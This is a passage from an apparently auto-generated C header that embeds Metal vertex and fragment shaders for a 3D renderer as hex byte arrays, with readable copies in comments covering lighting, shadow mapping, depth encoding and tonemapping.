0x73,0x5f,0x69,0x6e,0x6c,0x69,0x6e,0x65,0x29,0x29,0x0a,0x66,0x6c,0x6f,0x61,0x74,
0x34,0x20,0x65,0x6e,0x63,0x6f,0x64,0x65,0x44,0x65,0x70,0x74,0x68,0x28,0x74,0x68,
0x72,0x65,0x61,0x64,0x20,0x63,0x6f,0x6e,0x73,0x74,0x20,0x66,0x6c,0x6f,0x61,0x74,
0x26,0x20,0x76,0x29,0x0a,0x7b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x30,0x20,
0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,
0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x5f,0x32,0x35,0x20,
0x3d,0x20,0x66,0x72,0x61,0x63,0x74,0x28,0x66,0x6c,0x6f,0x61,0x74,0x34,0x28,0x31,
0x2e,0x30,0x2c,0x20,0x32,0x35,0x35,0x2e,0x30,0x2c,0x20,0x36,0x35,0x30,0x32,0x35,
0x2e,0x30,0x2c,0x20,0x31,0x36,0x35,0x38,0x31,0x33,0x37,0x35,0x2e,0x30,0x29,0x20,
0x2a,0x20,0x76,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,
0x20,0x5f,0x32,0x35,0x20,0x2d,0x20,0x28,0x5f,0x32,0x35,0x2e,0x79,0x7a,0x77,0x77,
0x20,0x2a,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x28,0x30,0x2e,0x30,0x30,0x33,0x39,
0x32,0x31,0x35,0x36,0x38,0x38,0x35,0x39,0x33,0x36,0x38,0x35,0x36,0x32,0x36,0x39,
0x38,0x33,0x36,0x34,0x32,0x35,0x37,0x38,0x31,0x32,0x35,0x2c,0x20,0x30,0x2e,0x30,
0x30,0x33,0x39,0x32,0x31,0x35,0x36,0x38,0x38,0x35,0x39,0x33,0x36,0x38,0x35,0x36,
0x32,0x36,0x39,0x38,0x33,0x36,0x34,0x32,0x35,0x37,0x38,0x31,0x32,0x35,0x2c,0x20,
0x30,0x2e,0x30,0x30,0x33,0x39,0x32,0x31,0x35,0x36,0x38,0x38,0x35,0x39,0x33,0x36,
0x38,0x35,0x36,0x32,0x36,0x39,0x38,0x33,0x36,0x34,0x32,0x35,0x37,0x38,0x31,0x32,
0x35,0x2c,0x20,0x30,0x2e,0x30,0x29,0x29,0x3b,0x0a,0x7d,0x0a,0x0a,0x23,0x6c,0x69,
0x6e,0x65,0x20,0x31,0x37,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,
0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,
0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x66,0x72,0x61,0x67,0x6d,0x65,0x6e,0x74,0x20,
0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x28,
0x6d,0x61,0x69,0x6e,0x30,0x5f,0x69,0x6e,0x20,0x69,0x6e,0x20,0x5b,0x5b,0x73,0x74,
0x61,0x67,0x65,0x5f,0x69,0x6e,0x5d,0x5d,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,
0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x20,0x6f,0x75,0x74,0x20,0x3d,0x20,
0x7b,0x7d,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x31,0x37,0x20,0x22,0x73,0x72,
0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,
0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,
0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x20,0x70,0x61,0x72,0x61,0x6d,0x20,0x3d,0x20,
0x69,0x6e,0x2e,0x70,0x72,0x6f,0x6a,0x5a,0x57,0x2e,0x78,0x20,0x2f,0x20,0x69,0x6e,
0x2e,0x70,0x72,0x6f,0x6a,0x5a,0x57,0x2e,0x79,0x3b,0x0a,0x20,0x20,0x20,0x20,0x6f,
0x75,0x74,0x2e,0x66,0x72,0x61,0x67,0x43,0x6f,0x6c,0x6f,0x72,0x20,0x3d,0x20,0x65,
0x6e,0x63,0x6f,0x64,0x65,0x44,0x65,0x70,0x74,0x68,0x28,0x70,0x61,0x72,0x61,0x6d,
0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x6f,0x75,
0x74,0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
/*
#include <metal_stdlib>
#include <simd/simd.h>
using namespace metal;
struct vs_params
{
float4x4 uModelViewProjection;
float4x4 uModel;
float4x4 u_normal_matrix;
float4x4 u_depth_mvp;
};
struct main0_out
{
float2 vTexCoord [[user(locn0)]];
float3 vNormal [[user(locn1)]];
float3 vFragPos [[user(locn2)]];
float4 vColorMult [[user(locn3)]];
float4 vColorOffset [[user(locn4)]];
float4 v_shadow_pos [[user(locn5)]];
float4 gl_Position [[position]];
};
struct main0_in
{
float3 aPosition [[attribute(0)]];
float2 aTexCoord [[attribute(2)]];
float4 aColorMult [[attribute(3)]];
float4 aColorOffset [[attribute(4)]];
};
#line 27 "src/ek/scenex/3d/render3d.glsl"
vertex main0_out main0(main0_in in [[stage_in]], constant vs_params& _16 [[buffer(0)]])
{
main0_out out = {};
#line 27 "src/ek/scenex/3d/render3d.glsl"
float4 _29 = float4(in.aPosition, 1.0);
out.vNormal = float3(normalize(_16.u_normal_matrix * _29).xyz);
#line 28 "src/ek/scenex/3d/render3d.glsl"
out.vFragPos = float3x3(_16.uModel[0].xyz, _16.uModel[1].xyz, _16.uModel[2].xyz) * in.aPosition;
#line 29 "src/ek/scenex/3d/render3d.glsl"
out.vTexCoord = in.aTexCoord;
#line 30 "src/ek/scenex/3d/render3d.glsl"
out.vColorMult = in.aColorMult;
#line 31 "src/ek/scenex/3d/render3d.glsl"
out.vColorOffset = in.aColorOffset;
#line 33 "src/ek/scenex/3d/render3d.glsl"
out.v_shadow_pos = _16.u_depth_mvp * _29;
#line 34 "src/ek/scenex/3d/render3d.glsl"
out.gl_Position = _16.uModelViewProjection * _29;
return out;
}
*/
static const char vs_source_metal_sim[1574] = {
0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,0x20,0x3c,0x6d,0x65,0x74,0x61,0x6c,0x5f,
0x73,0x74,0x64,0x6c,0x69,0x62,0x3e,0x0a,0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,
0x20,0x3c,0x73,0x69,0x6d,0x64,0x2f,0x73,0x69,0x6d,0x64,0x2e,0x68,0x3e,0x0a,0x0a,
0x75,0x73,0x69,0x6e,0x67,0x20,0x6e,0x61,0x6d,0x65,0x73,0x70,0x61,0x63,0x65,0x20,
0x6d,0x65,0x74,0x61,0x6c,0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x76,
0x73,0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x34,0x78,0x34,0x20,0x75,0x4d,0x6f,0x64,0x65,0x6c,0x56,0x69,
0x65,0x77,0x50,0x72,0x6f,0x6a,0x65,0x63,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x20,0x20,
0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x78,0x34,0x20,0x75,0x4d,0x6f,0x64,0x65,
0x6c,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x78,0x34,0x20,
0x75,0x5f,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x5f,0x6d,0x61,0x74,0x72,0x69,0x78,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x78,0x34,0x20,0x75,0x5f,
0x64,0x65,0x70,0x74,0x68,0x5f,0x6d,0x76,0x70,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x73,
0x74,0x72,0x75,0x63,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x0a,
0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x76,0x54,0x65,
0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,
0x63,0x6e,0x30,0x29,0x5d,0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x33,0x20,0x76,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x20,0x5b,0x5b,0x75,0x73,0x65,
0x72,0x28,0x6c,0x6f,0x63,0x6e,0x31,0x29,0x5d,0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,0x20,
0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,0x63,0x6e,0x32,0x29,0x5d,0x5d,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x76,0x43,0x6f,0x6c,
0x6f,0x72,0x4d,0x75,0x6c,0x74,0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,
0x63,0x6e,0x33,0x29,0x5d,0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x34,0x20,0x76,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x20,
0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,0x6c,0x6f,0x63,0x6e,0x34,0x29,0x5d,0x5d,0x3b,
0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x76,0x5f,0x73,0x68,
0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x20,0x5b,0x5b,0x75,0x73,0x65,0x72,0x28,
0x6c,0x6f,0x63,0x6e,0x35,0x29,0x5d,0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x34,0x20,0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,
0x20,0x5b,0x5b,0x70,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x5d,0x5d,0x3b,0x0a,0x7d,
0x3b,0x0a,0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,
0x69,0x6e,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x33,0x20,
0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,0x5b,0x5b,0x61,0x74,0x74,0x72,
0x69,0x62,0x75,0x74,0x65,0x28,0x30,0x29,0x5d,0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x32,0x20,0x61,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,
0x20,0x5b,0x5b,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x28,0x32,0x29,0x5d,
0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x61,0x43,
0x6f,0x6c,0x6f,0x72,0x4d,0x75,0x6c,0x74,0x20,0x5b,0x5b,0x61,0x74,0x74,0x72,0x69,
0x62,0x75,0x74,0x65,0x28,0x33,0x29,0x5d,0x5d,0x3b,0x0a,0x20,0x20,0x20,0x20,0x66,
0x6c,0x6f,0x61,0x74,0x34,0x20,0x61,0x43,0x6f,0x6c,0x6f,0x72,0x4f,0x66,0x66,0x73,
0x65,0x74,0x20,0x5b,0x5b,0x61,0x74,0x74,0x72,0x69,0x62,0x75,0x74,0x65,0x28,0x34,
0x29,0x5d,0x5d,0x3b,0x0a,0x7d,0x3b,0x0a,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,
0x37,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,
0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,
0x6c,0x22,0x0a,0x76,0x65,0x72,0x74,0x65,0x78,0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,
0x6f,0x75,0x74,0x20,0x6d,0x61,0x69,0x6e,0x30,0x28,0x6d,0x61,0x69,0x6e,0x30,0x5f,
0x69,0x6e,0x20,0x69,0x6e,0x20,0x5b,0x5b,0x73,0x74,0x61,0x67,0x65,0x5f,0x69,0x6e,
0x5d,0x5d,0x2c,0x20,0x63,0x6f,0x6e,0x73,0x74,0x61,0x6e,0x74,0x20,0x76,0x73,0x5f,
0x70,0x61,0x72,0x61,0x6d,0x73,0x26,0x20,0x5f,0x31,0x36,0x20,0x5b,0x5b,0x62,0x75,
0x66,0x66,0x65,0x72,0x28,0x30,0x29,0x5d,0x5d,0x29,0x0a,0x7b,0x0a,0x20,0x20,0x20,
0x20,0x6d,0x61,0x69,0x6e,0x30,0x5f,0x6f,0x75,0x74,0x20,0x6f,0x75,0x74,0x20,0x3d,
0x20,0x7b,0x7d,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x32,0x37,0x20,0x22,0x73,
0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,
0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,
0x20,0x20,0x20,0x66,0x6c,0x6f,0x61,0x74,0x34,0x20,0x5f,0x32,0x39,0x20,0x3d,0x20,
0x66,0x6c,0x6f,0x61,0x74,0x34,0x28,0x69,0x6e,0x2e,0x61,0x50,0x6f,0x73,0x69,0x74,
0x69,0x6f,0x6e,0x2c,0x20,0x31,0x2e,0x30,0x29,0x3b,0x0a,0x20,0x20,0x20,0x20,0x6f,
0x75,0x74,0x2e,0x76,0x4e,0x6f,0x72,0x6d,0x61,0x6c,0x20,0x3d,0x20,0x66,0x6c,0x6f,
0x61,0x74,0x33,0x28,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x69,0x7a,0x65,0x28,0x5f,0x31,
0x36,0x2e,0x75,0x5f,0x6e,0x6f,0x72,0x6d,0x61,0x6c,0x5f,0x6d,0x61,0x74,0x72,0x69,
0x78,0x20,0x2a,0x20,0x5f,0x32,0x39,0x29,0x2e,0x78,0x79,0x7a,0x29,0x3b,0x0a,0x23,
0x6c,0x69,0x6e,0x65,0x20,0x32,0x38,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,
0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,
0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,
0x2e,0x76,0x46,0x72,0x61,0x67,0x50,0x6f,0x73,0x20,0x3d,0x20,0x66,0x6c,0x6f,0x61,
0x74,0x33,0x78,0x33,0x28,0x5f,0x31,0x36,0x2e,0x75,0x4d,0x6f,0x64,0x65,0x6c,0x5b,
0x30,0x5d,0x2e,0x78,0x79,0x7a,0x2c,0x20,0x5f,0x31,0x36,0x2e,0x75,0x4d,0x6f,0x64,
0x65,0x6c,0x5b,0x31,0x5d,0x2e,0x78,0x79,0x7a,0x2c,0x20,0x5f,0x31,0x36,0x2e,0x75,
0x4d,0x6f,0x64,0x65,0x6c,0x5b,0x32,0x5d,0x2e,0x78,0x79,0x7a,0x29,0x20,0x2a,0x20,
0x69,0x6e,0x2e,0x61,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x3b,0x0a,0x23,0x6c,
0x69,0x6e,0x65,0x20,0x32,0x39,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,
0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,
0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,0x2e,
0x76,0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x20,0x3d,0x20,0x69,0x6e,0x2e,0x61,
0x54,0x65,0x78,0x43,0x6f,0x6f,0x72,0x64,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,
0x33,0x30,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,
0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,
0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,0x2e,0x76,0x43,0x6f,0x6c,
0x6f,0x72,0x4d,0x75,0x6c,0x74,0x20,0x3d,0x20,0x69,0x6e,0x2e,0x61,0x43,0x6f,0x6c,
0x6f,0x72,0x4d,0x75,0x6c,0x74,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x33,0x31,
0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,
0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,
0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,0x2e,0x76,0x43,0x6f,0x6c,0x6f,0x72,
0x4f,0x66,0x66,0x73,0x65,0x74,0x20,0x3d,0x20,0x69,0x6e,0x2e,0x61,0x43,0x6f,0x6c,
0x6f,0x72,0x4f,0x66,0x66,0x73,0x65,0x74,0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,
0x33,0x33,0x20,0x22,0x73,0x72,0x63,0x2f,0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,
0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,
0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,0x6f,0x75,0x74,0x2e,0x76,0x5f,0x73,0x68,
0x61,0x64,0x6f,0x77,0x5f,0x70,0x6f,0x73,0x20,0x3d,0x20,0x5f,0x31,0x36,0x2e,0x75,
0x5f,0x64,0x65,0x70,0x74,0x68,0x5f,0x6d,0x76,0x70,0x20,0x2a,0x20,0x5f,0x32,0x39,
0x3b,0x0a,0x23,0x6c,0x69,0x6e,0x65,0x20,0x33,0x34,0x20,0x22,0x73,0x72,0x63,0x2f,
0x65,0x6b,0x2f,0x73,0x63,0x65,0x6e,0x65,0x78,0x2f,0x33,0x64,0x2f,0x72,0x65,0x6e,
0x64,0x65,0x72,0x33,0x64,0x2e,0x67,0x6c,0x73,0x6c,0x22,0x0a,0x20,0x20,0x20,0x20,
0x6f,0x75,0x74,0x2e,0x67,0x6c,0x5f,0x50,0x6f,0x73,0x69,0x74,0x69,0x6f,0x6e,0x20,
0x3d,0x20,0x5f,0x31,0x36,0x2e,0x75,0x4d,0x6f,0x64,0x65,0x6c,0x56,0x69,0x65,0x77,
0x50,0x72,0x6f,0x6a,0x65,0x63,0x74,0x69,0x6f,0x6e,0x20,0x2a,0x20,0x5f,0x32,0x39,
0x3b,0x0a,0x20,0x20,0x20,0x20,0x72,0x65,0x74,0x75,0x72,0x6e,0x20,0x6f,0x75,0x74,
0x3b,0x0a,0x7d,0x0a,0x0a,0x00,
};
/*
#pragma clang diagnostic ignored "-Wmissing-prototypes"
#include <metal_stdlib>
#include <simd/simd.h>
using namespace metal;
struct material_params
{
float3 mat_ambient;
float3 mat_diffuse;
float3 mat_specular;
packed_float3 mat_emission;
float mat_shininess;
float mat_roughness;
};
struct fs_params
{
float4 u_time;
float4 u_resolution;
float3 uViewPos;
};
struct light_params
{
float3 light_position;
float3 light_ambient;
float3 light_diffuse;
float3 light_specular;
};
struct light2_params
{
packed_float3 light2_position;
float light2_radius;
packed_float3 light2_ambient;
float light2_falloff;
float3 light2_diffuse;
float3 light2_specular;
};
struct main0_out
{
float4 frag_color [[color(0)]];
};
struct main0_in
{
float2 vTexCoord [[user(locn0)]];
float3 vNormal [[user(locn1)]];
float3 vFragPos [[user(locn2)]];
float4 vColorMult [[user(locn3)]];
float4 v_shadow_pos [[user(locn5)]];
};
#line 196 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float oren_nayar_diffuse(thread const float3& light_direction, thread const float3& view_direction, thread const float3& surface_normal, thread const float& roughness, thread const float& albedo)
{
#line 196 "src/ek/scenex/3d/render3d.glsl"
#line 197 "src/ek/scenex/3d/render3d.glsl"
float _219 = dot(light_direction, surface_normal);
#line 198 "src/ek/scenex/3d/render3d.glsl"
float _223 = dot(surface_normal, view_direction);
float _229 = dot(light_direction, view_direction) - (_219 * _223);
#line 203 "src/ek/scenex/3d/render3d.glsl"
float _240 = roughness * roughness;
#line 207 "src/ek/scenex/3d/render3d.glsl"
return ((albedo * fast::max(0.0, _219)) * ((1.0 + (_240 * ((albedo / (_240 + 0.12999999523162841796875)) + (0.5 / (_240 + 0.3300000131130218505859375))))) + ((((0.449999988079071044921875 * _240) / (_240 + 0.0900000035762786865234375)) * _229) / mix(1.0, fast::max(_219, _223), step(0.0, _229))))) * 0.3183098733425140380859375;
}
#line 211 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float lambert_diffuse(thread const float3& light_direction, thread const float3& normal)
{
#line 211 "src/ek/scenex/3d/render3d.glsl"
return dot(normal, light_direction);
}
#line 56 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float decodeDepth(thread const float4& rgba)
{
#line 56 "src/ek/scenex/3d/render3d.glsl"
return dot(rgba, float4(1.0, 0.0039215688593685626983642578125, 1.5378700481960549950599670410156e-05, 6.0308629201699659461155533790588e-08));
}
#line 165 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float calc_shadow(float cos_theta, thread float4& v_shadow_pos, thread texture2d<float> u_image_shadow_map, thread const sampler u_image_shadow_mapSmplr)
{
#line 165 "src/ek/scenex/3d/render3d.glsl"
float3 _169 = v_shadow_pos.xyz / float3(v_shadow_pos.w);
float2 _179 = (_169.xy * 0.5) + float2(0.5);
float2 _476 = _179;
_476.y = 1.0 - _179.y;
#line 171 "src/ek/scenex/3d/render3d.glsl"
#line 191 "src/ek/scenex/3d/render3d.glsl"
float4 param = u_image_shadow_map.sample(u_image_shadow_mapSmplr, _476);
return step(decodeDepth(param), _169.z - (0.5 * fast::clamp(0.004999999888241291046142578125 * tan(acos(cos_theta)), 0.0, 0.00999999977648258209228515625)));
}
#line 152 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float calc_spec(thread const float3& light_dir, thread const float3& view_dir, thread const float3& normal, constant material_params& v_110)
{
#line 152 "src/ek/scenex/3d/render3d.glsl"
#line 153 "src/ek/scenex/3d/render3d.glsl"
return ((8.0 + v_110.mat_shininess) * 0.0397887341678142547607421875) * pow(fast::max(dot(normal, normalize(light_dir + view_dir)), 0.0), v_110.mat_shininess);
}
#line 135 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float attenuation_point(thread const float3& distance_by_radius, thread const float& falloff)
{
#line 135 "src/ek/scenex/3d/render3d.glsl"
return pow(1.0 - fast::min(1.0, length(distance_by_radius)), 2.0 * falloff);
}
#line 64 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float luminance(thread const float3& linear)
{
#line 64 "src/ek/scenex/3d/render3d.glsl"
return dot(linear, float3(0.2125999927520751953125, 0.715200006961822509765625, 0.072200000286102294921875));
}
#line 73 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float3 linear_to_gamma(thread const float3& x)
{
#line 73 "src/ek/scenex/3d/render3d.glsl"
return pow(x, float3(0.4545454680919647216796875));
}
#line 89 "src/ek/scenex/3d/render3d.glsl"
static inline __attribute__((always_inline))
float3 tonemap_reinhard(float3 x)
{
#line 89 "src/ek/scenex/3d/render3d.glsl"
float3 param = x;
float3 param_1 = x / float3(1.0 + luminance(param));
return linear_to_gamma(param_1);
}
#line 215 "src/ek/scenex/3d/render3d.glsl"
fragment main0_out main0(main0_in in [[stage_in]], constant material_params& v_110 [[buffer(0)]], constant fs_params& _292 [[buffer(1)]], constant light_params& _328 [[buffer(2)]], constant light2_params& _387 [[buffer(3)]], texture2d<float> u_image_shadow_map [[texture(0)]], texture2d<float> uImage0 [[texture(1)]], sampler u_image_shadow_mapSmplr [[sampler(0)]], sampler uImage0Smplr [[sampler(1)]])
{
main0_out out = {};
#line 215 "src/ek/scenex/3d/render3d.glsl"
float3 _288 = normalize(in.vNormal);
#line 216 "src/ek/scenex/3d/render3d.glsl"
float3 _300 = normalize(_292.uViewPos - in.vFragPos);
#line 217 "src/ek/scenex/3d/render3d.glsl"
float3 total = float3(v_110.mat_emission);
#line 218 "src/ek/scenex/3d/render3d.glsl"
float4 _311 = uImage0.sample(uImage0Smplr, in.vTexCoord);
float4 _314 = _311 * in.vColorMult;
float3 _324 = float3(_314.xyz) * v_110.mat_diffuse;
#line 223 "src/ek/scenex/3d/render3d.glsl"
float3 param = _328.light_position;
float3 param_1 = _300;
float3 param_2 = _288;
float param_3 = 0.5;
float param_4 = 1.0;
float _339 = oren_nayar_diffuse(param, param_1, param_2, param_3, param_4);
#line 224 "src/ek/scenex/3d/render3d.glsl"
total += (v_110.mat_ambient * _328.light_ambient);
if (_339 > 0.0)
{
float3 param_5 = _328.light_position;
float3 param_6 = _288;
#line 227 "src/ek/scenex/3d/render3d.glsl"
float3 param_7 = _328.light_position;
float3 param_8 = _300;
float3 param_9 = _288;
total += ((((v_110.mat_specular * _328.light_specular) * calc_spec(param_7, param_8, param_9, v_110)) + ((_324 * _328.light_diffuse) * _339)) * (1.0 - calc_shadow(fast::clamp(lambert_diffuse(param_5, param_6), 0.0, 1.0), in.v_shadow_pos, u_image_shadow_map, u_image_shadow_mapSmplr)));
}
#line 235 "src/ek/scenex/3d/render3d.glsl"
float3 _391 = float3(_387.light2_position) - in.vFragPos;
float3 _399 = _391 / float3(length(_391));
float3 param_10 = _399;
float3 param_11 = _300;
float3 param_12 = _288;
float param_13 = 0.5;
float param_14 = 1.0;
float _409 = oren_nayar_diffuse(param_10, param_11, param_12, param_13, param_14);
total += (v_110.mat_ambient * float3(_387.light2_ambient));
if (_409 > 0.0)
{
float3 param_15 = _391 / float3(_387.light2_radius);
float param_16 = _387.light2_falloff;
float _431 = attenuation_point(param_15, param_16);
if (_431 > 0.0)
{
#line 246 "src/ek/scenex/3d/render3d.glsl"
#line 245 "src/ek/scenex/3d/render3d.glsl"
float3 param_17 = _399;
float3 param_18 = _300;
float3 param_19 = _288;
total += ((((v_110.mat_specular * _387.light2_specular) * calc_spec(param_17, param_18, param_19, v_110)) + ((_324 * _387.light2_diffuse) * _409)) * _431);
}
}
#line 252 "src/ek/scenex/3d/render3d.glsl"
float3 _462 = tonemap_reinhard(total);
total = _462;
out.frag_color = float4(_462, _314.w);
return out;
}
*/
static const char fs_source_metal_sim[8120] = {
0x23,0x70,0x72,0x61,0x67,0x6d,0x61,0x20,0x63,0x6c,0x61,0x6e,0x67,0x20,0x64,0x69,
0x61,0x67,0x6e,0x6f,0x73,0x74,0x69,0x63,0x20,0x69,0x67,0x6e,0x6f,0x72,0x65,0x64,
0x20,0x22,0x2d,0x57,0x6d,0x69,0x73,0x73,0x69,0x6e,0x67,0x2d,0x70,0x72,0x6f,0x74,
0x6f,0x74,0x79,0x70,0x65,0x73,0x22,0x0a,0x0a,0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,
0x65,0x20,0x3c,0x6d,0x65,0x74,0x61,0x6c,0x5f,0x73,0x74,0x64,0x6c,0x69,0x62,0x3e,
0x0a,0x23,0x69,0x6e,0x63,0x6c,0x75,0x64,0x65,0x20,0x3c,0x73,0x69,0x6d,0x64,0x2f,
0x73,0x69,0x6d,0x64,0x2e,0x68,0x3e,0x0a,0x0a,0x75,0x73,0x69,0x6e,0x67,0x20,0x6e,
0x61,0x6d,0x65,0x73,0x70,0x61,0x63,0x65,0x20,0x6d,0x65,0x74,0x61,0x6c,0x3b,0x0a,
0x0a,0x73,0x74,0x72,0x75,0x63,0x74,0x20,0x6d,0x61,0x74,0x65,0x72,0x69,0x61,0x6c,
0x5f,0x70,0x61,0x72,0x61,0x6d,0x73,0x0a,0x7b,0x0a,0x20,0x20,0x20,0x20,0x66,0x6c,
0x6f,0x61,0x74,0x33,0x20,0x6d,0x61,0x74,0x5f,0x61,0x6d,0x62,0x69,0x65,0x6e,0x74,
